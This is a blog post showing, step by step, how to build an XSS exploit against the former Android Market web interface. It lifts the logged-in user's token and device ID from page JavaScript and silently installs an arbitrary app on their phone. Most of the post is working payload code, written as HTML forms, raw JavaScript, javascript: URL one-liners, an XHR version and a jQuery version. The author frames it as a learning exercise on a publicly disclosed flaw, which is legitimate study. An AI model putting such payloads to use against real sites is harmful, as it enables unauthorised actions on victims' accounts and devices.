XSS – developing an exploit from HTML form to jQuery

As I’m currently really occupied with all the Android stuff, I thought about the blog posts of Jon Oberheide and Thomas Cannon about XSS in the Google Android Market Web Interface (edit: which used to be on http://market.android.com, which doesn’t exist nowadays). While I could have just used Jon Oberheide’s XSS exploit for jQuery, I thought it would be a good exercice for me to develop it on my own.

First of all, I’m talking about XSS, so in the nature of XSS we don’t have to bother about XSRF tokens, because we can just get them in our XSS attack. When you look at a HTTPS request that installs an app (e.g. in the HTTP Live Headers add-on for firefox), you will notice that the following request is sufficient to install an arbitrary app on the Android mobile:

POST https://market.android.com/install HTTP/1.1
Host: market.android.com
Cookie:  androidmarket=YOUR_COOKIE

id=com.example.very.evil.app.already.on.market&device=YOUR_DEVICE_ID&token=YOUR_TOKEN

The “YOUR” variables are all accessible in javascript when you are logged in, as you can see in the HTML source of the Android Market page (var initProps). Therefore you could generate a HTML/XSS payload like this:

<FORM action="https://market.android.com/install" id="formId" method="POST">
	<input id="id" type="hidden" name="id" value="com.example.very.evil.app.already.on.market" />
	<input id="device" type="hidden" name="device" value="" />
	<input id="xhr" type="hidden" name="xhr" value="1" />
	<input id="token" type="hidden" name="token" value="" />
</FORM>
<script>
document.getElementById('token').value = initProps['token'];
document.getElementById('device').value = initProps['selectedDeviceId'];
document.getElementById('formId').submit();
</script>

or in pure javascript:

<script>
myform = document.createElement("form");
myform.action = "https://market.android.com/install";
myform.method = "POST";

id = document.createElement("input");
id.name = "id";
id.type = "hidden"
id.value = "com.example.very.evil.app.already.on.market";
myform.appendChild(id);

device = document.createElement("input");
device.name = "device";
device.type = "hidden"
device.value = initProps['selectedDeviceId'];
myform.appendChild(device);

xhr = document.createElement("input");
xhr.name = "xhr";
xhr.type = "hidden"
xhr.value = "1";
myform.appendChild(xhr);

token = document.createElement("input");
token.name = "token";
token.type = "hidden"
token.value = initProps['token'];
myform.appendChild(token);

document.body.appendChild(myform);

myform.submit();
</script>

For example if you copy the following code into the URL bar of you Android Market Browser Tab (you must be logged in), it will install the official Swiss train service app (SBB) on your mobile:

javascript:myform = document.createElement("form"); myform.action = "https://market.android.com/install"; myform.method = "POST"; id = document.createElement("input"); id.name = "id"; id.type = "hidden"; id.value = "ch.sbb.mobile.android.b2c"; myform.appendChild(id); device = document.createElement("input"); device.name = "device"; device.type = "hidden"; device.value = initProps['selectedDeviceId']; myform.appendChild(device); xhr = document.createElement("input"); xhr.name = "xhr"; xhr.type = "hidden"; xhr.value = "1"; myform.appendChild(xhr); token = document.createElement("input"); token.name = "token"; token.type = "hidden"; token.value = initProps['token']; myform.appendChild(token); document.body.appendChild(myform); myform.submit();

The problem with that payload is, that it will prompt the user a json.txt file download. So let’s do some Ajax magic instead:

var xmlHttpObject = false;
if (typeof XMLHttpRequest != 'undefined') {
    xmlHttpObject = new XMLHttpRequest();
}
if (!xmlHttpObject) {
    try {
        xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch(e) {
        try {
            xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e) {
            xmlHttpObject = null;
        }
    }
}

//POST request
params = "com.example.very.evil.app.already.on.market&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']
xmlHttpObject.open("POST", "install", true);
xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttpObject.setRequestHeader("Content-length", params.length);
xmlHttpObject.setRequestHeader("Connection", "close");
xmlHttpObject.send(params);

Now the following one line in your browser address bar will silently install the app (remove the app first if you already executed the last payload):

javascript: var xmlHttpObject = false; if (typeof XMLHttpRequest != 'undefined') { xmlHttpObject = new XMLHttpRequest(); }; if (!xmlHttpObject) { try { xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xmlHttpObject = null; }; }; }; params = "id=ch.sbb.mobile.android.b2c&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']; xmlHttpObject.open("POST", "install", true); xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlHttpObject.setRequestHeader("Content-length", params.length); xmlHttpObject.setRequestHeader("Connection", "close"); xmlHttpObject.send(params);

If we now take into account that we could simply use jquery, the following javascript code (proposed by Jon Oberheide) results:

$.post('/install', {
    id: 'com.example.very.evil.app.already.on.market',
    device: initProps['selectedDeviceId'],
    token: initProps['token'],
    xhr: '1' }, function(data) {
});

This is of course much more elegant, but I really needed a HTML form to jQuery exercise, so I appreciate jQuery again 🙂

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.